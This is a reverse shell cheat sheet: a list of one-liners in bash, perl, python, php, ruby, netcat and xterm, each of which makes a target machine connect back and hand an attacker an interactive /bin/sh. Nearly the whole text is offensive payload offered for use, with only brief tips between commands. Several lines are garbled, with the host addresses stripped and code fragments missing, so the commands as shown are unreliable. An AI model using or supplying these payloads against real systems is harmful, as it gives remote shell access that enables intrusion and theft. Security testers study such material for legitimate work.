Reverse Shell Cheat Sheet


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/ 0>&1
Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e ‘use Socket;$i=”″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
This was tested under Linux / Python 2.7:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[“/bin/sh”,”-i”]);’
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r ‘$sock=fsockopen(“″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’

ruby -rsocket -e’“″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you ( on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip




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